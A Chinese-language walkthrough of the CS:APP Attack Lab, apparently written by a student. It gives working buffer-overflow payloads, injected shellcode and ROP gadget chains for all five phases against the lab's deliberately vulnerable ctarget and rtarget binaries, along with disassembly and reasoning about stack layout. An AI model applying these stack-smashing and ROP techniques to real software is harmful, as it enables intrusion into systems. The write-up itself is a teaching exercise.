CSAPP - Attack Lab
本文档不会详细写出和解释每一个步骤、每一个指令、每一条汇编,如有疑问请自行查阅CSAPP课本、attack lab官方handout以及Google
Phase 1
这一关的目标是通过输入的字符串进行注入攻击,使getbuf
函数执行完之后跳转到touch1
函数,这就需要我们去想办法得到touch1
函数的地址以及getbuf
函数执行完后返回到的地址。可以使用readelf
和objdump
,这里选择使用readelf
,因为我们不需要知道touch1
函数的具体内容:
1
readelf -s ctarget | grep touch1
我们便可以得到:
1
136: 0000000000401743 44 FUNC GLOBAL DEFAULT 13 touch1
那么touch1
函数的起始地址就是0x401743
接下来获取getbuf
的汇编代码:
1
objdump -d ctarget | grep -A20 '<getbuf>:'
得到:
1
2
3
4
5
6
7
000000000040172d <getbuf>:
40172d: 48 83 ec 28 sub $0x28,%rsp
401731: 48 89 e7 mov %rsp,%rdi
401734: e8 31 02 00 00 call 40196a <Gets>
401739: b8 01 00 00 00 mov $0x1,%eax
40173e: 48 83 c4 28 add $0x28,%rsp
401742: c3 ret
可以发现这个函数开辟了0x28
即40字节的空间,这个空间就是用来读取字符串的buf,那么我们只需要填满这个空间并在此之上填入touch1
函数的地址,那么getbuf
函数运行结束后便会跳转到这个地址。同时注意在栈中字节是由小端法储存的,因此我们需要倒转0x401743
这三个字节,于是答案可以是:
1
2
3
4
5
6
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
43 17 40 00 00 00 00 00
可以用./hex2raw < 1.txt | ./ctarget (-q)
来运行代码,其中“|”之前的部分是通过重定向得出字符串,之后用pipe将结果输入到ctarget
中。-q用于调试,不会向服务器发送信息,调试通过后可以去掉这个flag。
Phase 2
这一关要求我们在执行完getbuf
函数之后进入touch2
函数,同时需要把touch2
的参数,即%rdi
设置为我们的cookie。查看一下touch2
函数的地址:
1
83: 000000000040176f 86 FUNC GLOBAL DEFAULT 13 touch2
接下来我们需要想办法去把我们的汇编代码注入到被攻击目标中,汇编代码很简单:
1
2
3
mov $0x67aa2160, %rdi
push $0x40176f
ret
其中第一行是把cookie存入%rdi
中,第二行是把touch2
的地址压入栈中,最后ret
则会跳转到这个地址。
为了得到16进制表示,我们可以运用一个小技巧,即用gcc -c
命令把汇编用assembler转为目标文件之后再使用objdump -d
,从而得到我们需要的十六进制表示:
1
2
3
48 c7 c7 60 21 aa 67 mov $0x67aa2160,%rdi
68 6f 17 40 00 push $0x40176f
c3 ret
接下来就要解决注入字符串的最终形式,首先我们知道这个字符串应是48个字节长度,其中需要包含这段汇编代码以及跳转的目标地址(即第一条mov
指令的地址)。于是我们需要用到栈上的地址来进行跳转,可以使用gdb去获取栈上地址,经过一些计算可以得到我们的注入字符串的十六进制表示:
1
2
3
4
5
6
7
8
48 c7 c7 60 21 aa 67
68 6f 17 40 00
c3
00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
98 c7 60 55 00 00 00 00
成功通过
Phase 3
这一关卡的任务是要将我们构建的一个字符串去与cookie进行比较,比较的方式由hexmatch
函数指出,这里有必要贴上hexmatch
函数:
1
2
3
4
5
6
int hexmatch(unsigned val, char *sval) { // val对应cookie,*sval对应我们输入的字符串
char cbuf[110];
char *s = cbuf + random() % 100;
sprintf(s, "%.8x", val);
return strncmp(sval, s, 9) == 0;
}
其中random
、sprintf
、strncmp
函数的作用请自行查阅,整体的逻辑是:将cookie这一字符串转化为ascii码16进制表示的字符串。虽然s
字符串在栈中的位置是不确定的,但是在strncmp
函数是将sval
和s
做比较,因此无需担心目标字符串不一样的可能性,我们只需要知道cbuf
和s
可能会占据栈中的哪些位置,以及touch3
和hexmatch
函数被push
到栈上之后栈的结构层次是什么样的,那么首先来查看一下hexmatch
和touch3
函数的汇编
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
0000000000401843 <touch3>:
401843: 53 push %rbx
401844: 48 89 fb mov %rdi,%rbx
401847: c7 05 ab 2c 20 00 03 movl $0x3,0x202cab(%rip) # 6044fc <vlevel>
40184e: 00 00 00
401851: 48 89 fe mov %rdi,%rsi
401854: 8b 3d aa 2c 20 00 mov 0x202caa(%rip),%edi # 604504 <cookie>
40185a: e8 66 ff ff ff call 4017c5 <hexmatch>
40185f: 85 c0 test %eax,%eax
401861: 74 1e je 401881 <touch3+0x3e>
401863: 48 89 de mov %rbx,%rsi
401866: bf e8 2e 40 00 mov $0x402ee8,%edi
40186b: b8 00 00 00 00 mov $0x0,%eax
401870: e8 0b f4 ff ff call 400c80 <printf@plt>
401875: bf 03 00 00 00 mov $0x3,%edi
40187a: e8 da 02 00 00 call 401b59 <validate>
40187f: eb 1c jmp 40189d <touch3+0x5a>
401881: 48 89 de mov %rbx,%rsi
401884: bf 10 2f 40 00 mov $0x402f10,%edi
401889: b8 00 00 00 00 mov $0x0,%eax
40188e: e8 ed f3 ff ff call 400c80 <printf@plt>
401893: bf 03 00 00 00 mov $0x3,%edi
401898: e8 6e 03 00 00 call 401c0b <fail>
40189d: bf 00 00 00 00 mov $0x0,%edi
4018a2: e8 39 f5 ff ff call 400de0 <exit@plt>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
00000000004017c5 <hexmatch>:
4017c5: 41 54 push %r12
4017c7: 55 push %rbp
4017c8: 53 push %rbx
4017c9: 48 83 ec 70 sub $0x70,%rsp
4017cd: 41 89 fc mov %edi,%r12d
4017d0: 48 89 f5 mov %rsi,%rbp
4017d3: e8 78 f5 ff ff call 400d50 <random@plt>
4017d8: 48 89 c1 mov %rax,%rcx
4017db: 48 ba 0b d7 a3 70 3d movabs $0xa3d70a3d70a3d70b,%rdx
4017e2: 0a d7 a3
4017e5: 48 f7 ea imul %rdx
4017e8: 48 8d 04 0a lea (%rdx,%rcx,1),%rax
4017ec: 48 c1 f8 06 sar $0x6,%rax
4017f0: 48 89 ce mov %rcx,%rsi
4017f3: 48 c1 fe 3f sar $0x3f,%rsi
4017f7: 48 29 f0 sub %rsi,%rax
4017fa: 48 8d 04 80 lea (%rax,%rax,4),%rax
4017fe: 48 8d 04 80 lea (%rax,%rax,4),%rax
401802: 48 c1 e0 02 shl $0x2,%rax
401806: 48 29 c1 sub %rax,%rcx
401809: 48 8d 1c 0c lea (%rsp,%rcx,1),%rbx
40180d: 44 89 e2 mov %r12d,%edx
401810: be 8e 2e 40 00 mov $0x402e8e,%esi
401815: 48 89 df mov %rbx,%rdi
401818: b8 00 00 00 00 mov $0x0,%eax
40181d: e8 ae f5 ff ff call 400dd0 <sprintf@plt>
401822: ba 09 00 00 00 mov $0x9,%edx
401827: 48 89 de mov %rbx,%rsi
40182a: 48 89 ef mov %rbp,%rdi
40182d: e8 fe f3 ff ff call 400c30 <strncmp@plt>
401832: 85 c0 test %eax,%eax
401834: 0f 94 c0 sete %al
401837: 0f b6 c0 movzbl %al,%eax
40183a: 48 83 c4 70 add $0x70,%rsp
40183e: 5b pop %rbx
40183f: 5d pop %rbp
401840: 41 5c pop %r12
401842: c3 ret
在touch3
函数中,有这两行:
1
2
401843: 53 push %rbx
40185a: e8 66 ff ff ff call 4017c5 <hexmatch>
其中push %rbx
会把%rbx的值压入栈中,而call 4017c5
则会在hexmatch
的栈区前存下%rip
的值,因此touch3
函数的栈区有16字节
1
2
3
4
4017c5: 41 54 push %r12
4017c7: 55 push %rbp
4017c8: 53 push %rbx
4017c9: 48 83 ec 70 sub $0x70,%rsp
接下来是hexmatch
栈区。其中三个push
指令会占用24字节空间,而sub $0x70, %rsp
会开辟112字节的空间。
那么在调用strncmp
函数是,栈的结构应大致如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
+---------------+
| |
| |
| |
| test |
| |
| |
| |
+---------------+ <- 0x5560c7c8
| touch3 | <- 在getbuf被调用时储存的是%rip的值
+---------------+ <- getbuf返回后%rsp的值0x5560c7c0
| touch3 |
+---------------+
| hexmatch |
+---------------+
| hexmatch |
+---------------+
| hexmatch |
+---------------+ <- 0x5560c7a0
| |
| |
| |
| |
| |
+---------------+ <- %rsp 0x5560c730
由:
1
char *s = cbuf + random() % 100;
可以知道,s
的起始地址是cbuf + [0, 99]
,而s
的长度是8+1=9个字节(需要包括字符串结尾的00)。那么s
占据的可能空间便是[0,108]
。而我们需要注入的字符串的长度也是9个字节,但108+9已经超过了112字节长度的限制,因此我们不能把注入的字符串放置在这段内存中。
那还有哪里可以存放注入的字符串呢?首先我们不能放在地址比%rsp
更低的位置,因为hexmatch
中有很多函数调用,我们不知道栈会向下延伸到哪里,因此我们尝试向上覆盖掉test
函数的内容,或者可以在内存中的.text
区、.data
区以及heap
区找一个空间去存法。我使用的是覆盖test
函数的内容,因为这样可以直接在注入的字符串尾部接上传入的字符串,只需要三行汇编就能解决。
我们需要用到的汇编代码是:
1
2
3
movq $0x5560c7c8, %rdi
push $0x401843
ret
用同样方法得到16进制表示:
1
2
3
4
0000000000000000 <.text>:
0: 48 c7 c7 c8 c7 60 55 mov $0x5560c7c8,%rdi
7: 68 43 18 40 00 push $0x401843
c: c3 ret
于是我们注入的字符串16进制表示为:
1
2
3
4
5
6
7
8
9
48 c7 c7 c8 c7 60 55
68 43 18 40 00
c3
00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
98 c7 60 55 00 00 00 00
36 37 61 61 32 31 36 30 00
成功通过
Phase 4
这一关的任务是用ROP攻击复现Phase 2的攻击,为此我们需要在gadget farm
的汇编代码中寻找可以使用的代码碎片。
最为直接的方法是在栈上存入cookie然后一条popq %rdi
命令就可以直接把数据存入%rdi
中,对应的十六进制表示就是5f c3
其中c3是ret
的编码。但我们用grep
查找汇编时没有发现这个序列,因此此路不通。
换一种思路,我们肯定要把栈上的内容存入寄存器中,最简单的方法肯定还是直接pop
,而handout文档也说可以用两个gadget通过。因此我们可以找一个中间桥梁,找到一个存在pop %xxx
形式的寄存器,再通过mov
指令存到%rdi
中,那么再用一下grep
可以找到%rax
符合我们需求的片段:
1
2
3
4
5
6
00000000004018f2 <getval_128>:
4018f2: b8 58 c3 9d 21 mov $0x219dc358,%eax
4018f7: c3 ret
00000000004018de <getval_322>:
4018de: b8 48 89 c7 c3 mov $0xc3c78948,%eax
4018e3: c3 ret
于是我们的注入代码为:
1
2
3
4
5
6
7
8
9
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
f3 18 40 00 00 00 00 00
60 21 aa 67 00 00 00 00
df 18 40 00 00 00 00 00
6f 17 40 00 00 00 00 00
成功通过
Phase 5
这一关的目标是用ROP复现Phase 3,思路是一样的,其中唯一需要额外想到的就是相对%rsp
的偏移量怎么得到,设计者非常贴心的给我们了一个很特别的函数:add_xy
。这个函数可以用来进行偏移量运算,两个参数分别是%rdi
和%rsi
,前者存的是%rsp
的值,后者存的是我们想要的偏移量,可以用pop
实现。而中间的转移则需要借助其他寄存器来搭桥,其中%rsp
的值必须用movq
来转移,偏移量可以用movq
和movl
。这一过程只需要耐心即可,可以使用这一命令:
1
objdump -d rtarget | grep -A300 '<start_farm>' | grep -C1 '89 ce'
当然仅供参考,不一定是最好的
经过尝试后,答案如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
69 19 40 00 00 00 00 00 /* movq %rsp, %rax */
df 18 40 00 00 00 00 00 /* movq %rax, %rdi */
f3 18 40 00 00 00 00 00 /* popq %rax */
48 00 00 00 00 00 00 00 /* offset of cookie */
19 19 40 00 00 00 00 00 /* movl %eax, %edx */
42 19 40 00 00 00 00 00 /* movl %edx, %ecx */
c6 19 40 00 00 00 00 00 /* movl %ecx, %esi */
0b 19 40 00 00 00 00 00 /* add_xy */
df 18 40 00 00 00 00 00 /* movq %rax, %rdi */
43 18 40 00 00 00 00 00 /* push <touch3> to the stack> */
36 37 61 61 32 31 36 30 00 /* cookie */
其中有几点需要注意:
在找
popq %rax
(58)时,会得到:1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
00000000004018d1 <addval_312>: 4018d1: 8d 87 03 58 90 c3 lea -0x3c6fa7fd(%rdi),%eax 4018d7: c3 ret -- 00000000004018eb <setval_381>: 4018eb: c7 07 11 58 92 90 movl $0x90925811,(%rdi) 4018f1: c3 ret -- 00000000004018f2 <getval_128>: 4018f2: b8 58 c3 9d 21 mov $0x219dc358,%eax 4018f7: c3 ret -- 00000000004018ff <getval_234>: 4018ff: b8 11 58 c2 0e mov $0xec25811,%eax 401904: c3 ret
并没有直接跟有c3的选择,但是我们根据官方handout可知,
0x90
编码的是nop
,表示no operation,直接让PC加1,因此第一个函数可以成为一个解在找
movl %ecx, %esi
(89 ce)时,会得到以下结果:1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
0000000000401910 <addval_396>: 401910: 8d 87 89 ce 28 d2 lea -0x2dd73177(%rdi),%eax 401916: c3 ret -- 0000000000401924 <setval_359>: 401924: c7 07 89 ce c4 db movl $0xdbc4ce89,(%rdi) 40192a: c3 ret -- 0000000000401974 <addval_274>: 401974: 8d 87 89 ce 78 d2 lea -0x2d873177(%rdi),%eax 40197a: c3 ret -- 0000000000401995 <addval_109>: 401995: 8d 87 89 ce 84 c9 lea -0x367b3177(%rdi),%eax 40199b: c3 ret -- 00000000004019aa <getval_238>: 4019aa: b8 89 ce 28 d2 mov $0xd228ce89,%eax 4019af: c3 ret -- 00000000004019c4 <setval_348>: 4019c4: c7 07 89 ce 20 d2 movl $0xd220ce89,(%rdi) 4019ca: c3 ret
没有紧跟c3的代码,也没有
nop
,但是看一下官方handout就可以知道这一关的代码中有由2字节编码的functional nop,他们由andb
、orb
、cmpb
、testb
组成,对照十六进制编码就可找到他们,作为可行解